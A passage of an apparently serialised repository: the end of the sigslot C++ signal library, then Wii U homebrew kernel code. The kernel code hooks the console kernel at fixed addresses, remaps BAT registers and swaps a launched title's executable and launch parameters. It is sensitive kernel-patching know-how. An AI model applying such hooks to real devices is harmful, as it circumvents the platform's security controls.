pmemfun);\n\t\t\tthis->m_connected_slots.push_back(conn);\n\t\t\tpclass->signal_connect(this);\n\t\t}\n\n\t\tvoid emit()\n\t\t{\n\t\t\tlock_block<mt_policy> lock(this);\n\t\t\tconst_iterator itNext, it = this->m_connected_slots.begin();\n\t\t\tconst_iterator itEnd = this->m_connected_slots.end();\n\n\t\t\twhile(it != itEnd)\n\t\t\t{\n\t\t\t\titNext = it;\n\t\t\t\t++itNext;\n\n\t\t\t\t(*it)->emit();\n\n\t\t\t\tit = itNext;\n\t\t\t}\n\t\t}\n\n\t\tvoid operator()()\n\t\t{\n\t\t\tlock_block<mt_policy> lock(this);\n\t\t\tconst_iterator itNext, it = this->m_connected_slots.begin();\n\t\t\tconst_iterator itEnd = this->m_connected_slots.end();\n\n\t\t\twhile(it != itEnd)\n\t\t\t{\n\t\t\t\titNext = it;\n\t\t\t\t++itNext;\n\n\t\t\t\t(*it)->emit();\n\n\t\t\t\tit = itNext;\n\t\t\t}\n\t\t}\n\t};\n\n\ttemplate<class arg1_type, class mt_policy = SIGSLOT_DEFAULT_MT_POLICY>\n\tclass signal1 : public _signal_base1<arg1_type, mt_policy>\n\t{\n\tpublic:\n\t\ttypedef typename _signal_base1<arg1_type, mt_policy>::connections_list::const_iterator const_iterator;\n\t\tsignal1()\n\t\t{\n\t\t\t;\n\t\t}\n\n\t\tsignal1(const signal1<arg1_type, mt_policy>& s)\n\t\t\t: _signal_base1<arg1_type, mt_policy>(s)\n\t\t{\n\t\t\t;\n\t\t}\n\n\t\tvirtual ~signal1()\n\t\t{\n\t\t\t;\n\t\t}\n\n\t\ttemplate<class desttype>\n\t\t\tvoid connect(desttype* pclass, void (desttype::*pmemfun)(arg1_type))\n\t\t{\n\t\t\tlock_block<mt_policy> lock(this);\n\t\t\t_connection1<desttype, arg1_type, mt_policy>* conn =\n\t\t\t\tnew _connection1<desttype, arg1_type, mt_policy>(pclass, pmemfun);\n\t\t\tthis->m_connected_slots.push_back(conn);\n\t\t\tpclass->signal_connect(this);\n\t\t}\n\n\t\tvoid emit(arg1_type a1)\n\t\t{\n\t\t\tlock_block<mt_policy> lock(this);\n\t\t\tconst_iterator itNext, it = this->m_connected_slots.begin();\n\t\t\tconst_iterator itEnd = this->m_connected_slots.end();\n\n\t\t\twhile(it != itEnd)\n\t\t\t{\n\t\t\t\titNext = it;\n\t\t\t\t++itNext;\n\n\t\t\t\t(*it)->emit(a1);\n\n\t\t\t\tit = itNext;\n\t\t\t}\n\t\t}\n\n\t\tvoid operator()(arg1_type a1)\n\t\t{\n\t\t\tlock_block<mt_policy> lock(this);\n\t\t\tconst_iterator itNext, it = this->m_connected_slots.begin();\n\t\t\tconst_iterator itEnd = this->m_connected_slots.end();\n\n\t\t\twhile(it != itEnd)\n\t\t\t{\n\t\t\t\titNext = it;\n\t\t\t\t++itNext;\n\n\t\t\t\t(*it)->emit(a1);\n\n\t\t\t\tit = itNext;\n\t\t\t}\n\t\t}\n\t};\n\n\ttemplate<class arg1_type, typename arg2_type, typename mt_policy = SIGSLOT_DEFAULT_MT_POLICY>\n\tclass signal2 : public _signal_base2<arg1_type, arg2_type, mt_policy>\n\t{\n\tpublic:\n\t\ttypedef typename _signal_base2<arg1_type, arg2_type, mt_policy>::connections_list::const_iterator const_iterator;\n\t\tsignal2()\n\t\t{\n\t\t\t;\n\t\t}\n\n\t\tsignal2(const signal2<arg1_type, arg2_type, mt_policy>& s)\n\t\t\t: _signal_base2<arg1_type, arg2_type, mt_policy>(s)\n\t\t{\n\t\t\t;\n\t\t}\n\n\t\tvirtual ~signal2()\n\t\t{\n\t\t\t;\n\t\t}\n\n\t\ttemplate<class desttype>\n\t\t\tvoid connect(desttype* pclass, void (desttype::*pmemfun)(arg1_type,\n\t\t\targ2_type))\n\t\t{\n\t\t\tlock_block<mt_policy> lock(this);\n\t\t\t_connection2<desttype, arg1_type, arg2_type, mt_policy>* conn = new\n\t\t\t\t_connection2<desttype, arg1_type, arg2_type, mt_policy>(pclass, pmemfun);\n\t\t\tthis->m_connected_slots.push_back(conn);\n\t\t\tpclass->signal_connect(this);\n\t\t}\n\n\t\tvoid emit(arg1_type a1, arg2_type a2)\n\t\t{\n\t\t\tlock_block<mt_policy> lock(this);\n\t\t\tconst_iterator itNext, it = this->m_connected_slots.begin();\n\t\t\tconst_iterator itEnd = this->m_connected_slots.end();\n\n\t\t\twhile(it != itEnd)\n\t\t\t{\n\t\t\t\titNext = it;\n\t\t\t\t++itNext;\n\n\t\t\t\t(*it)->emit(a1, a2);\n\n\t\t\t\tit = itNext;\n\t\t\t}\n\t\t}\n\n\t\tvoid operator()(arg1_type a1, arg2_type a2)\n\t\t{\n\t\t\tlock_block<mt_policy> lock(this);\n\t\t\tconst_iterator itNext, it = this->m_connected_slots.begin();\n\t\t\tconst_iterator itEnd = this->m_connected_slots.end();\n\n\t\t\twhile(it != itEnd)\n\t\t\t{\n\t\t\t\titNext = it;\n\t\t\t\t++itNext;\n\n\t\t\t\t(*it)->emit(a1, a2);\n\n\t\t\t\tit = itNext;\n\t\t\t}\n\t\t}\n\t};\n\n\ttemplate<class arg1_type, typename arg2_type, typename arg3_type, typename mt_policy = SIGSLOT_DEFAULT_MT_POLICY>\n\tclass signal3 : public _signal_base3<arg1_type, arg2_type, arg3_type, mt_policy>\n\t{\n\tpublic:\n\t\ttypedef typename _signal_base3<arg1_type, arg2_type, arg3_type, mt_policy>::connections_list::const_iterator const_iterator;\n\t\tsignal3()\n\t\t{\n\t\t\t;\n\t\t}\n\n\t\tsignal3(const signal3<arg1_type, arg2_type, arg3_type, mt_policy>& s)\n\t\t\t: _signal_base3<arg1_type, arg2_type, arg3_type, mt_policy>(s)\n\t\t{\n\t\t\t;\n\t\t}\n\n\t\tvirtual ~signal3()\n\t\t{\n\t\t\t;\n\t\t}\n\n\t\ttemplate<class desttype>\n\t\t\tvoid connect(desttype* pclass, void (desttype::*pmemfun)(arg1_type,\n\t\t\targ2_type, arg3_type))\n\t\t{\n\t\t\tlock_block<mt_policy> lock(this);\n\t\t\t_connection3<desttype, arg1_type, arg2_type, arg3_type, mt_policy>* conn =\n\t\t\t\tnew _connection3<desttype, arg1_type, arg2_type, arg3_type, mt_policy>(pclass,\n\t\t\t\tpmemfun);\n\t\t\tthis->m_connected_slots.push_back(conn);\n\t\t\tpclass->signal_connect(this);\n\t\t}\n\n\t\tvoid emit(arg1_type a1, arg2_type a2, arg3_type a3)\n\t\t{\n\t\t\tlock_block<mt_policy> lock(this);\n\t\t\tconst_iterator itNext, it = this->m_connected_slots.begin();\n\t\t\tconst_iterator itEnd = this->m_connected_slots.end();\n\n\t\t\twhile(it != itEnd)\n\t\t\t{\n\t\t\t\titNext = it;\n\t\t\t\t++itNext;\n\n\t\t\t\t(*it)->emit(a1, a2, a3);\n\n\t\t\t\tit = itNext;\n\t\t\t}\n\t\t}\n\n\t\tvoid operator()(arg1_type a1, arg2_type a2, arg3_type a3)\n\t\t{\n\t\t\tlock_block<mt_policy> lock(this);\n\t\t\tconst_iterator itNext, it = this->m_connected_slots.begin();\n\t\t\tconst_iterator itEnd = this->m_connected_slots.end();\n\n\t\t\twhile(it != itEnd)\n\t\t\t{\n\t\t\t\titNext = it;\n\t\t\t\t++itNext;\n\n\t\t\t\t(*it)->emit(a1, a2, a3);\n\n\t\t\t\tit = itNext;\n\t\t\t}\n\t\t}\n\t};\n\n\ttemplate<class arg1_type, class arg2_type, class arg3_type, class arg4_type, class mt_policy = SIGSLOT_DEFAULT_MT_POLICY>\n\tclass signal4 : public _signal_base4<arg1_type, arg2_type, arg3_type,\n\t\targ4_type, mt_policy>\n\t{\n\tpublic:\n\t\ttypedef typename _signal_base4<arg1_type, arg2_type, arg3_type, arg4_type, mt_policy>::connections_list::const_iterator const_iterator;\n\t\tsignal4()\n\t\t{\n\t\t\t;\n\t\t}\n\n\t\tsignal4(const signal4<arg1_type, arg2_type, arg3_type, arg4_type, mt_policy>& s)\n\t\t\t: _signal_base4<arg1_type, arg2_type, arg3_type, arg4_type, mt_policy>(s)\n\t\t{\n\t\t\t;\n\t\t}\n\n\t\tvirtual ~signal4()\n\t\t{\n\t\t\t;\n\t\t}\n\n\t\ttemplate<class desttype>\n\t\t\tvoid connect(desttype* pclass, void (desttype::*pmemfun)(arg1_type,\n\t\t\targ2_type, arg3_type, arg4_type))\n\t\t{\n\t\t\tlock_block<mt_policy> lock(this);\n\t\t\t_connection4<desttype, arg1_type, arg2_type, arg3_type, arg4_type, mt_policy>*\n\t\t\t\tconn = new _connection4<desttype, arg1_type, arg2_type, arg3_type,\n\t\t\t\targ4_type, mt_policy>(pclass, pmemfun);\n\t\t\tthis->m_connected_slots.push_back(conn);\n\t\t\tpclass->signal_connect(this);\n\t\t}\n\n\t\tvoid emit(arg1_type a1, arg2_type a2, arg3_type a3, arg4_type a4)\n\t\t{\n\t\t\tlock_block<mt_policy> lock(this);\n\t\t\tconst_iterator itNext, it = this->m_connected_slots.begin();\n\t\t\tconst_iterator itEnd = this->m_connected_slots.end();\n\n\t\t\twhile(it != itEnd)\n\t\t\t{\n\t\t\t\titNext = it;\n\t\t\t\t++itNext;\n\n\t\t\t\t(*it)->emit(a1, a2, a3, a4);\n\n\t\t\t\tit = itNext;\n\t\t\t}\n\t\t}\n\n\t\tvoid operator()(arg1_type a1, arg2_type a2, arg3_type a3, arg4_type a4)\n\t\t{\n\t\t\tlock_block<mt_policy> lock(this);\n\t\t\tconst_iterator itNext, it = this->m_connected_slots.begin();\n\t\t\tconst_iterator itEnd = this->m_connected_slots.end();\n\n\t\t\twhile(it != itEnd)\n\t\t\t{\n\t\t\t\titNext = it;\n\t\t\t\t++itNext;\n\n\t\t\t\t(*it)->emit(a1, a2, a3, a4);\n\n\t\t\t\tit = itNext;\n\t\t\t}\n\t\t}\n\t};\n\n\ttemplate<class arg1_type, class arg2_type, class arg3_type, class arg4_type,\n\tclass arg5_type, class mt_policy = SIGSLOT_DEFAULT_MT_POLICY>\n\tclass signal5 : public _signal_base5<arg1_type, arg2_type, arg3_type,\n\t\targ4_type, arg5_type, mt_policy>\n\t{\n\tpublic:\n\t\ttypedef typename _signal_base5<arg1_type, arg2_type, arg3_type, arg4_type, arg5_type, mt_policy>::connections_list::const_iterator const_iterator;\n\t\tsignal5()\n\t\t{\n\t\t\t;\n\t\t}\n\n\t\tsignal5(const signal5<arg1_type, arg2_type, arg3_type, arg4_type,\n\t\t\targ5_type, mt_policy>& s)\n\t\t\t: _signal_base5<arg1_type, arg2_type, arg3_type, arg4_type,\n\t\t\targ5_type, mt_policy>(s)\n\t\t{\n\t\t\t;\n\t\t}\n\n\t\tvirtual ~signal5()\n\t\t{\n\t\t\t;\n\t\t}\n\n\t\ttemplate<class desttype>\n\t\t\tvoid connect(desttype* pclass, void (desttype::*pmemfun)(arg1_type,\n\t\t\targ2_type, arg3_type, arg4_type, arg5_type))\n\t\t{\n\t\t\tlock_block<mt_policy> lock(this);\n\t\t\t_connection5<desttype, arg1_type, arg2_type, arg3_type, arg4_type,\n\t\t\t\targ5_type, mt_policy>* conn = new _connection5<desttype, arg1_type, arg2_type,\n\t\t\t\targ3_type, arg4_type, arg5_type, mt_policy>(pclass, pmemfun);\n\t\t\tthis->m_connected_slots.push_back(conn);\n\t\t\tpclass->signal_connect(this);\n\t\t}\n\n\t\tvoid emit(arg1_type a1, arg2_type a2, arg3_type a3, arg4_type a4,\n\t\t\targ5_type a5)\n\t\t{\n\t\t\tlock_block<mt_policy> lock(this);\n\t\t\tconst_iterator itNext, it = this->m_connected_slots.begin();\n\t\t\tconst_iterator itEnd = this->m_connected_slots.end();\n\n\t\t\twhile(it != itEnd)\n\t\t\t{\n\t\t\t\titNext = it;\n\t\t\t\t++itNext;\n\n\t\t\t\t(*it)->emit(a1, a2, a3, a4, a5);\n\n\t\t\t\tit = itNext;\n\t\t\t}\n\t\t}\n\n\t\tvoid operator()(arg1_type a1, arg2_type a2, arg3_type a3, arg4_type a4,\n\t\t\targ5_type a5)\n\t\t{\n\t\t\tlock_block<mt_policy> lock(this);\n\t\t\tconst_iterator itNext, it = this->m_connected_slots.begin();\n\t\t\tconst_iterator itEnd = this->m_connected_slots.end();\n\n\t\t\twhile(it != itEnd)\n\t\t\t{\n\t\t\t\titNext = it;\n\t\t\t\t++itNext;\n\n\t\t\t\t(*it)->emit(a1, a2, a3, a4, a5);\n\n\t\t\t\tit = itNext;\n\t\t\t}\n\t\t}\n\t};\n\n\n\ttemplate<class arg1_type, class arg2_type, class arg3_type, class arg4_type,\n\tclass arg5_type, class arg6_type, class mt_policy = SIGSLOT_DEFAULT_MT_POLICY>\n\tclass signal6 : public _signal_base6<arg1_type, arg2_type, arg3_type,\n\t\targ4_type, arg5_type, arg6_type, mt_policy>\n\t{\n\tpublic:\n\t\ttypedef typename _signal_base6<arg1_type, arg2_type, arg3_type,\n\t\targ4_type, arg5_type, arg6_type, mt_policy>::connections_list::const_iterator const_iterator;\n\t\tsignal6()\n\t\t{\n\t\t\t;\n\t\t}\n\n\t\tsignal6(const signal6<arg1_type, arg2_type, arg3_type, arg4_type,\n\t\t\targ5_type, arg6_type, mt_policy>& s)\n\t\t\t: _signal_base6<arg1_type, arg2_type, arg3_type, arg4_type,\n\t\t\targ5_type, arg6_type, mt_policy>(s)\n\t\t{\n\t\t\t;\n\t\t}\n\n\t\tvirtual ~signal6()\n\t\t{\n\t\t\t;\n\t\t}\n\n\t\ttemplate<class desttype>\n\t\t\tvoid connect(desttype* pclass, void (desttype::*pmemfun)(arg1_type,\n\t\t\targ2_type, arg3_type, arg4_type, arg5_type, arg6_type))\n\t\t{\n\t\t\tlock_block<mt_policy> lock(this);\n\t\t\t_connection6<desttype, arg1_type, arg2_type, arg3_type, arg4_type,\n\t\t\t\targ5_type, arg6_type, mt_policy>* conn =\n\t\t\t\tnew _connection6<desttype, arg1_type, arg2_type, arg3_type,\n\t\t\t\targ4_type, arg5_type, arg6_type, mt_policy>(pclass, pmemfun);\n\t\t\tthis->m_connected_slots.push_back(conn);\n\t\t\tpclass->signal_connect(this);\n\t\t}\n\n\t\tvoid emit(arg1_type a1, arg2_type a2, arg3_type a3, arg4_type a4,\n\t\t\targ5_type a5, arg6_type a6)\n\t\t{\n\t\t\tlock_block<mt_policy> lock(this);\n\t\t\tconst_iterator itNext, it = this->m_connected_slots.begin();\n\t\t\tconst_iterator itEnd = this->m_connected_slots.end();\n\n\t\t\twhile(it != itEnd)\n\t\t\t{\n\t\t\t\titNext = it;\n\t\t\t\t++itNext;\n\n\t\t\t\t(*it)->emit(a1, a2, a3, a4, a5, a6);\n\n\t\t\t\tit = itNext;\n\t\t\t}\n\t\t}\n\n\t\tvoid operator()(arg1_type a1, arg2_type a2, arg3_type a3, arg4_type a4,\n\t\t\targ5_type a5, arg6_type a6)\n\t\t{\n\t\t\tlock_block<mt_policy> lock(this);\n\t\t\tconst_iterator itNext, it = this->m_connected_slots.begin();\n\t\t\tconst_iterator itEnd = this->m_connected_slots.end();\n\n\t\t\twhile(it != itEnd)\n\t\t\t{\n\t\t\t\titNext = it;\n\t\t\t\t++itNext;\n\n\t\t\t\t(*it)->emit(a1, a2, a3, a4, a5, a6);\n\n\t\t\t\tit = itNext;\n\t\t\t}\n\t\t}\n\t};\n\n\ttemplate<class arg1_type, class arg2_type, class arg3_type, class arg4_type,\n\tclass arg5_type, class arg6_type, class arg7_type, class mt_policy = SIGSLOT_DEFAULT_MT_POLICY>\n\tclass signal7 : public _signal_base7<arg1_type, arg2_type, arg3_type,\n\t\targ4_type, arg5_type, arg6_type, arg7_type, mt_policy>\n\t{\n\tpublic:\n\t\ttypedef typename _signal_base7<arg1_type, arg2_type, arg3_type,\n\t\targ4_type, arg5_type, arg6_type, arg7_type, mt_policy>::connections_list::const_iterator const_iterator;\n\t\tsignal7()\n\t\t{\n\t\t\t;\n\t\t}\n\n\t\tsignal7(const signal7<arg1_type, arg2_type, arg3_type, arg4_type,\n\t\t\targ5_type, arg6_type, arg7_type, mt_policy>& s)\n\t\t\t: _signal_base7<arg1_type, arg2_type, arg3_type, arg4_type,\n\t\t\targ5_type, arg6_type, arg7_type, mt_policy>(s)\n\t\t{\n\t\t\t;\n\t\t}\n\n\t\tvirtual ~signal7()\n\t\t{\n\t\t\t;\n\t\t}\n\n\t\ttemplate<class desttype>\n\t\t\tvoid connect(desttype* pclass, void (desttype::*pmemfun)(arg1_type,\n\t\t\targ2_type, arg3_type, arg4_type, arg5_type, arg6_type,\n\t\t\targ7_type))\n\t\t{\n\t\t\tlock_block<mt_policy> lock(this);\n\t\t\t_connection7<desttype, arg1_type, arg2_type, arg3_type, arg4_type,\n\t\t\t\targ5_type, arg6_type, arg7_type, mt_policy>* conn =\n\t\t\t\tnew _connection7<desttype, arg1_type, arg2_type, arg3_type,\n\t\t\t\targ4_type, arg5_type, arg6_type, arg7_type, mt_policy>(pclass, pmemfun);\n\t\t\tthis->m_connected_slots.push_back(conn);\n\t\t\tpclass->signal_connect(this);\n\t\t}\n\n\t\tvoid emit(arg1_type a1, arg2_type a2, arg3_type a3, arg4_type a4,\n\t\t\targ5_type a5, arg6_type a6, arg7_type a7)\n\t\t{\n\t\t\tlock_block<mt_policy> lock(this);\n\t\t\tconst_iterator itNext, it = this->m_connected_slots.begin();\n\t\t\tconst_iterator itEnd = this->m_connected_slots.end();\n\n\t\t\twhile(it != itEnd)\n\t\t\t{\n\t\t\t\titNext = it;\n\t\t\t\t++itNext;\n\n\t\t\t\t(*it)->emit(a1, a2, a3, a4, a5, a6, a7);\n\n\t\t\t\tit = itNext;\n\t\t\t}\n\t\t}\n\n\t\tvoid operator()(arg1_type a1, arg2_type a2, arg3_type a3, arg4_type a4,\n\t\t\targ5_type a5, arg6_type a6, arg7_type a7)\n\t\t{\n\t\t\tlock_block<mt_policy> lock(this);\n\t\t\tconst_iterator itNext, it = this->m_connected_slots.begin();\n\t\t\tconst_iterator itEnd = this->m_connected_slots.end();\n\n\t\t\twhile(it != itEnd)\n\t\t\t{\n\t\t\t\titNext = it;\n\t\t\t\t++itNext;\n\n\t\t\t\t(*it)->emit(a1, a2, a3, a4, a5, a6, a7);\n\n\t\t\t\tit = itNext;\n\t\t\t}\n\t\t}\n\t};\n\n\ttemplate<class arg1_type, class arg2_type, class arg3_type, class arg4_type,\n\tclass arg5_type, class arg6_type, class arg7_type, class arg8_type, class mt_policy = SIGSLOT_DEFAULT_MT_POLICY>\n\tclass signal8 : public _signal_base8<arg1_type, arg2_type, arg3_type,\n\t\targ4_type, arg5_type, arg6_type, arg7_type, arg8_type, mt_policy>\n\t{\n\tpublic:\n\t\ttypedef typename _signal_base8<arg1_type, arg2_type, arg3_type,\n\t\targ4_type, arg5_type, arg6_type, arg7_type, arg8_type, mt_policy>::connections_list::const_iterator const_iterator;\n\t\tsignal8()\n\t\t{\n\t\t\t;\n\t\t}\n\n\t\tsignal8(const signal8<arg1_type, arg2_type, arg3_type, arg4_type,\n\t\t\targ5_type, arg6_type, arg7_type, arg8_type, mt_policy>& s)\n\t\t\t: _signal_base8<arg1_type, arg2_type, arg3_type, arg4_type,\n\t\t\targ5_type, arg6_type, arg7_type, arg8_type, mt_policy>(s)\n\t\t{\n\t\t\t;\n\t\t}\n\n\t\tvirtual ~signal8()\n\t\t{\n\t\t\t;\n\t\t}\n\n\t\ttemplate<class desttype>\n\t\t\tvoid connect(desttype* pclass, void (desttype::*pmemfun)(arg1_type,\n\t\t\targ2_type, arg3_type, arg4_type, arg5_type, arg6_type,\n\t\t\targ7_type, arg8_type))\n\t\t{\n\t\t\tlock_block<mt_policy> lock(this);\n\t\t\t_connection8<desttype, arg1_type, arg2_type, arg3_type, arg4_type,\n\t\t\t\targ5_type, arg6_type, arg7_type, arg8_type, mt_policy>* conn =\n\t\t\t\tnew _connection8<desttype, arg1_type, arg2_type, arg3_type,\n\t\t\t\targ4_type, arg5_type, arg6_type, arg7_type,\n\t\t\t\targ8_type, mt_policy>(pclass, pmemfun);\n\t\t\tthis->m_connected_slots.push_back(conn);\n\t\t\tpclass->signal_connect(this);\n\t\t}\n\n\t\tvoid emit(arg1_type a1, arg2_type a2, arg3_type a3, arg4_type a4,\n\t\t\targ5_type a5, arg6_type a6, arg7_type a7, arg8_type a8)\n\t\t{\n\t\t\tlock_block<mt_policy> lock(this);\n\t\t\tconst_iterator itNext, it = this->m_connected_slots.begin();\n\t\t\tconst_iterator itEnd = this->m_connected_slots.end();\n\n\t\t\twhile(it != itEnd)\n\t\t\t{\n\t\t\t\titNext = it;\n\t\t\t\t++itNext;\n\n\t\t\t\t(*it)->emit(a1, a2, a3, a4, a5, a6, a7, a8);\n\n\t\t\t\tit = itNext;\n\t\t\t}\n\t\t}\n\n\t\tvoid operator()(arg1_type a1, arg2_type a2, arg3_type a3, arg4_type a4,\n\t\t\targ5_type a5, arg6_type a6, arg7_type a7, arg8_type a8)\n\t\t{\n\t\t\tlock_block<mt_policy> lock(this);\n\t\t\tconst_iterator itNext, it = this->m_connected_slots.begin();\n\t\t\tconst_iterator itEnd = this->m_connected_slots.end();\n\n\t\t\twhile(it != itEnd)\n\t\t\t{\n\t\t\t\titNext = it;\n\t\t\t\t++itNext;\n\n\t\t\t\t(*it)->emit(a1, a2, a3, a4, a5, a6, a7, a8);\n\n\t\t\t\tit = itNext;\n\t\t\t}\n\t\t}\n\t};\n\n}; // namespace sigslot\n\n#endif // SIGSLOT_H__\n"
  },
  {
    "path": "src/kernel/kernel_functions.c",
    "content": "#include <string.h>\n#include \"common/common.h\"\n#include \"common/kernel_defs.h\"\n#include \"kernel/kernel_functions.h\"\n#include \"kernel/syscalls.h\"\n\n/* our retain data */\nReducedCosAppXmlInfo cosAppXmlInfoStruct __attribute__((section(\".data\")));\n/*\n *  This function is a kernel hook function. It is called directly from kernel code at position 0xFFF18558.\n */\nvoid my_PrepareTitle(CosAppXmlInfo *xmlKernelInfo)\n{\n    /**\n     *  DBAT for access to our data region is setup at this point for the 0xC0000000 area.\n     */\n    // check for Mii Maker RPX or Smash Bros RPX when we started (region independent check)\n    if(GAME_LAUNCHED &&\n       (   ((strncasecmp(\"ffl_app.rpx\", xmlKernelInfo->rpx_name, FS_MAX_ENTNAME_SIZE) == 0) && (LOADIINE_MODE == LOADIINE_MODE_MII_MAKER))\n        || ((strncasecmp(\"homebrew_launcher.rpx\", xmlKernelInfo->rpx_name, FS_MAX_ENTNAME_SIZE) == 0) && (LOADIINE_MODE == LOADIINE_MODE_MII_MAKER))\n        || ((strncasecmp(\"cross_f.rpx\", xmlKernelInfo->rpx_name, FS_MAX_ENTNAME_SIZE) == 0) && (LOADIINE_MODE == LOADIINE_MODE_SMASH_BROS))\n        || ((strncasecmp(\"app.rpx\", xmlKernelInfo->rpx_name, FS_MAX_ENTNAME_SIZE) == 0) && (LOADIINE_MODE == LOADIINE_MODE_KARAOKE))\n        || ((strncasecmp(\"Treasure.rpx\", xmlKernelInfo->rpx_name, FS_MAX_ENTNAME_SIZE) == 0) && (LOADIINE_MODE == LOADIINE_MODE_ART_ATELIER))))\n    {\n        //! Copy all data from the parsed XML info\n        strncpy(xmlKernelInfo->rpx_name, cosAppXmlInfoStruct.rpx_name, FS_MAX_ENTNAME_SIZE);\n\n        // split arguments\n        for(unsigned int i = 0; i < strlen(cosAppXmlInfoStruct.rpx_name); i++)\n        {\n            if (xmlKernelInfo->rpx_name[i] == ' ')\n            {\n                xmlKernelInfo->rpx_name[i] = 0;\n            }\n        }\n\n        xmlKernelInfo->version_cos_xml = cosAppXmlInfoStruct.version_cos_xml;\n        xmlKernelInfo->os_version = cosAppXmlInfoStruct.os_version;\n        xmlKernelInfo->title_id = cosAppXmlInfoStruct.title_id;\n        xmlKernelInfo->app_type = cosAppXmlInfoStruct.app_type;\n        xmlKernelInfo->cmdFlags = cosAppXmlInfoStruct.cmdFlags;\n        xmlKernelInfo->max_size = cosAppXmlInfoStruct.max_size;\n        xmlKernelInfo->avail_size = cosAppXmlInfoStruct.avail_size;\n        xmlKernelInfo->codegen_size = cosAppXmlInfoStruct.codegen_size;\n        xmlKernelInfo->codegen_core = cosAppXmlInfoStruct.codegen_core;\n        xmlKernelInfo->max_codesize = cosAppXmlInfoStruct.max_codesize;\n        xmlKernelInfo->overlay_arena = cosAppXmlInfoStruct.overlay_arena;\n        xmlKernelInfo->default_stack0_size = cosAppXmlInfoStruct.default_stack0_size;\n        xmlKernelInfo->default_stack1_size = cosAppXmlInfoStruct.default_stack1_size;\n        xmlKernelInfo->default_stack2_size = cosAppXmlInfoStruct.default_stack2_size;\n        xmlKernelInfo->default_redzone0_size = cosAppXmlInfoStruct.default_redzone0_size;\n        xmlKernelInfo->default_redzone1_size = cosAppXmlInfoStruct.default_redzone1_size;\n        xmlKernelInfo->default_redzone2_size = cosAppXmlInfoStruct.default_redzone2_size;\n        xmlKernelInfo->exception_stack0_size = cosAppXmlInfoStruct.exception_stack0_size;\n        xmlKernelInfo->exception_stack1_size = cosAppXmlInfoStruct.exception_stack1_size;\n        xmlKernelInfo->exception_stack2_size = cosAppXmlInfoStruct.exception_stack2_size;\n        xmlKernelInfo->sdk_version = cosAppXmlInfoStruct.sdk_version;\n        xmlKernelInfo->title_version = cosAppXmlInfoStruct.title_version;\n    }\n}\n\nvoid SetupKernelCallback(void)\n{\n    KernelSetupSyscalls();\n}\n"
  },
  {
    "path": "src/kernel/kernel_functions.h",
    "content": "#ifndef __KERNEL_FUNCTIONS_H_\n#define __KERNEL_FUNCTIONS_H_\n\n#ifdef __cplusplus\nextern \"C\" {\n#endif\n\n#include \"common/kernel_defs.h\"\n#include \"syscalls.h\"\n\nvoid SetupKernelCallback(void);\n\nextern ReducedCosAppXmlInfo cosAppXmlInfoStruct;\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif // __KERNEL_FUNCTIONS_H_\n"
  },
  {
    "path": "src/kernel/kernel_hooks.S",
    "content": "# This stuff may need a change in different kernel versions\n# This is only needed when launched directly through browser and not SD card.\n\n.section \".kernel_code\"\n    .globl SaveAndResetDataBATs_And_SRs_hook\nSaveAndResetDataBATs_And_SRs_hook:\n    # setup CTR to the position we need to return to\n    mflr r5\n    mtctr r5\n    # set link register to its original value\n    mtlr r7\n    # setup us a nice DBAT for our code data with same region as our code\n    mfspr r5, 560\n    mtspr 570, r5\n    mfspr r5, 561\n    mtspr 571, r5\n    # restore the original kernel instructions that we replaced\n    lwz r5, 0x34(r3)\n    lwz r6, 0x38(r3)\n    lwz r7, 0x3C(r3)\n    lwz r8, 0x40(r3)\n    lwz r9, 0x44(r3)\n    lwz r10, 0x48(r3)\n    lwz r11, 0x4C(r3)\n    lwz r3, 0x50(r3)\n    isync\n    mtsr 7, r5\n    # jump back to the position in kernel after our patch (from LR)\n    bctr\n\n.extern my_PrepareTitle\n    .globl my_PrepareTitle_hook\nmy_PrepareTitle_hook:\n    # store all registers on stack to avoid issues with the call to C functions\n    stwu r1, -0x90(r1)\n    # registers for our own usage\n    # only need r31 and rest is from tests before, just leaving it for later tests\n    stw r28, 0x20(r1)\n    stw r29, 0x24(r1)\n    stw r30, 0x28(r1)\n    stw r31, 0x2C(r1)\n\n    stw r3, 0x30(r1)\n    stw r4, 0x34(r1)\n    stw r5, 0x38(r1)\n    stw r6, 0x3C(r1)\n    stw r7, 0x40(r1)\n    stw r8, 0x44(r1)\n    stw r9, 0x48(r1)\n    stw r10, 0x4C(r1)\n    stw r11, 0x50(r1)\n    stw r12, 0x54(r1)\n    stw r13, 0x58(r1)\n    stw r14, 0x5C(r1)\n    stw r15, 0x60(r1)\n    stw r16, 0x64(r1)\n    stw r17, 0x68(r1)\n    stw r18, 0x6C(r1)\n    stw r19, 0x70(r1)\n    stw r20, 0x74(r1)\n    stw r21, 0x78(r1)\n    stw r22, 0x7C(r1)\n\n    # save the LR from where we came\n    mflr r31\n\n    # the cos.xml/app.xml structure is at the location 0x68 of r11\n    # there are actually many places that can be hooked for it\n    # e.g. 0xFFF16130 and r27 points to this structure\n    addi r3, r11, 0x68\n\n    bl my_PrepareTitle\n\n    # memory barrier\n    eieio\n    isync\n\n    # setup LR to jump back to kernel code\n    mtlr r31\n\n    # restore all original values of registers from stack\n    lwz r28, 0x20(r1)\n    lwz r29, 0x24(r1)\n    lwz r30, 0x28(r1)\n    lwz r31, 0x2C(r1)\n\n    lwz r3, 0x30(r1)\n    lwz r4, 0x34(r1)\n    lwz r5, 0x38(r1)\n    lwz r6, 0x3C(r1)\n    lwz r7, 0x40(r1)\n    lwz r8, 0x44(r1)\n    lwz r9, 0x48(r1)\n    lwz r10, 0x4C(r1)\n    lwz r11, 0x50(r1)\n    lwz r12, 0x54(r1)\n    lwz r13, 0x58(r1)\n    lwz r14, 0x5C(r1)\n    lwz r15, 0x60(r1)\n    lwz r16, 0x64(r1)\n    lwz r17, 0x68(r1)\n    lwz r18, 0x6C(r1)\n    lwz r19, 0x70(r1)\n    lwz r20, 0x74(r1)\n    lwz r21, 0x78(r1)\n    lwz r22, 0x7C(r1)\n\n    # restore the stack\n    addi r1, r1, 0x90\n\n    # restore original instruction that we replaced in the kernel\n    clrlwi    r7, r12, 0\n\n    # jump back\n    blr\n"
  },
  {
    "path": "src/kernel/syscalls.c",
